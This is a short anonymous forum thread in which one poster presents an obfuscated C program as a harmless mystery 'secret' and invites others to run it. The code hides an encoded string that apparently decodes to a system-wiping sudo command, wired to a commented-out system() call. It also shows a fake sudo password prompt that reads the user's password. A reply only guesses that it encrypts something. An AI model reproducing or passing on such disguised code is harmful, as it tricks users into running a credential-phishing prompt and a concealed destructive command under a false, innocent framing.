Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Secret

Name: Anonymous 2012-06-06 17:04

Can you figure out what this secret program does? It's so secret, even I don't know what it is. Nothing seems to happen when I run it.

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>
#include <time.h>

#define SUPERSECRET    "OAXQ)HI)$HZ)&"

static int secret(char* buffer, int count, int key1, int key2)
{
    int i, ret = 0;

    if ((((int)rand()) % 2) == 0) {
        for (i = 0; i < count; ++i)
            buffer[i] ^= key1;
    } else {
        for (i = 0; i < count; ++i)
            buffer[i] ^= key2;
    }
    for (i = 0; i < count; ++i) {
        int c = tolower(buffer[i]);
        if ((c < 'a') || (c > 'z'))
            continue;
        else if (c <= 'a' + 13)
            c += 13;
        else
            c -= 13;
        buffer[i] = c;
    }
    if ((((int)rand()) % 2) == 0) {
        for (i = 0; i < count; ++i)
            buffer[i] ^= key2;
    } else {
        for (i = 0; i < count; ++i)
            buffer[i] ^= key1;
    }
    for (i = 0; i < count; ++i) {
        buffer[i] = tolower(buffer[i]);
        ret += buffer[i];
    }
    return ret;
}

int main()
{
    char* buffer = calloc(strlen(SUPERSECRET) + 1, 1);
    int ret;
    srand((unsigned)time(NULL));
    while (ret != 1070) {
        strncpy(buffer, SUPERSECRET, strlen(SUPERSECRET));
        ret = secret(buffer, (int)strlen(buffer), 43, 34);
    }
    if ((ret & 31) == 31) {
        fprintf(stderr, "[sudo] password for %s", getenv("USER"));
        getpass(": ");
    }
//    system(buffer);
    free(buffer);
    return 0;
}

Name: Anonymous 2012-06-06 17:07

Seems to encrypt something.

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List